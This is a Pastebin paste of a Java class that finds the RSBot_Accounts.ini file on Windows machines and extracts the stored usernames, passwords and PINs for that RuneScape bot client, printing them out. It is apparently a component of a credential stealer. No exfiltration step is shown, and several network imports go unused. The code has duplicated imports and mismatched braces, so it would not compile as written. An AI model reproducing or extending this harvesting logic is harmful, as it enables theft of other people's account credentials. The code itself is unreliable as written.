Advertisement
Guest User

Untitled

a guest
Jul 28th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.33 KB | None | 0 0
  1. import java.io.BufferedReader;
  2. import java.io.File;
  3. import java.io.FileReader;
  4. import java.io.IOException;
  5. import java.io.InputStream;
  6. import java.io.PrintStream;
  7. import java.io.UnsupportedEncodingException;
  8. import java.net.InetAddress;
  9. import java.net.MalformedURLException;
  10. import java.net.NetworkInterface;
  11. import java.net.URI;
  12. import java.net.URL;
  13. import java.security.MessageDigest;
  14. import java.security.NoSuchAlgorithmException;
  15. import java.io.IOException;
  16. import java.io.InputStream;
  17. import java.net.URL;
  18. import java.net.InetAddress;
  19. import java.net.NetworkInterface;
  20. import java.net.SocketException;
  21. import java.net.UnknownHostException;
  22.  
  23. public class main {
  24.  
  25. static public void main(String[] args) {
  26. getAccounts();
  27. }
  28.  
  29.  
  30. public static void getAccounts() {
  31. String s5;
  32. java.io.BufferedReader br;
  33. String s8;
  34. java.io.IOException e;
  35. java.io.File file;
  36. String s;
  37. String s2;
  38. file = null;
  39. s = new StringBuilder().append(System.getProperty("user.home")).append("\\Application Data\\RSBot_Accounts.ini").toString();
  40. s2 = new StringBuilder().append(System.getProperty("user.home")).append("\\AppData\\Roaming\\RSBot_Accounts.ini").toString();
  41.  
  42. if (System.getProperty("os.name").toLowerCase().contains("xp")) {
  43. file = new java.io.File(s);
  44. } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
  45. file = new java.io.File(s2);
  46. } else {
  47. return;
  48. } if (file.exists()) {
  49. try {
  50. br = new java.io.BufferedReader(new java.io.FileReader(file));
  51. s8 = "no.";
  52. for (;;) {
  53. if ((s5 = br.readLine()) == null) {
  54. break;
  55. } if (s5.contains("[")) {
  56. s5 = s5.replace("[", "");
  57. s5 = s5.replace("]", "");
  58. if (s8.equals("no.") == false) {
  59. System.out.println("Failed");
  60. }
  61. s8 = new StringBuilder().append("User=").append(s5).toString();
  62. }
  63. if (s5.contains("password=")) {
  64. s5 = s5.replace("password=", "");
  65. s8 = new StringBuilder().append(s8).append("\tPass=").append(s5).toString();
  66. }
  67. if (s5.contains("pin=")) {
  68. s5 = s5.replace("pin=", "");
  69. s8 = new StringBuilder().append(s8).append("\tPin=").append(s5).toString();
  70. System.out.println(s8);
  71. }
  72. }
  73. }
  74. } catch (IOException i8) {
  75. }
  76. }
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement